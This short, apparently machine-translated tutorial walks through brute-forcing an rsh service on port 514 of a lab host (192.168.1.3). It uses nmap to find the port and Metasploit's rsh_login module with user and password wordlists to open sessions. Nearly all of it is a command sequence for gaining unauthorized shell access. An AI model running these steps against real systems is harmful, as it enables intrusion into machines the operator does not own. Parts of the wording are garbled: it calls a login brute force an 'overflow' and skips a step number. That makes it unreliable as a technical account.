Metasploit blasting tcpwrapped service
First, use nmap tools to scan the target host
1.1 scan the target host using the nmap command.
1.2 enter the command "nmap-sV 192.168.1.3" in the terminal to scan the port of the target host and find that port 514 is open and tcpwrapped service is open.
1.3 enter the command "msfconsole" in the terminal to start the MSF terminal.
1.4 enter the command "search rsh_login" in the terminal to search for RSH _ login related tools and * payloads.
1.5 enter the command "use auxiliary/scanner/rservices/rsh_login" in the terminal to enable the exploit module, and the prompt will prompt you to enter the path.
1.6 enter the command "set RHOST 192.168.1.3" in the terminal to set the IP address of the target host.
Enter the command "set RPORT 514" in the terminal to set the port number of the target host.
1.8 enter "set PASS_FILE / home/passwd.txt" in the terminal and set the password file used for cracking.
1.9 enter "set USER_FILE / home/user.txt" in the terminal and set the login user name file used to crack.
1.10 enter "exploit" in the terminal to start the session establishment to the target host, indicating that the overflow is successful.
1.11 enter "sessions" in the terminal to view the number of sessions.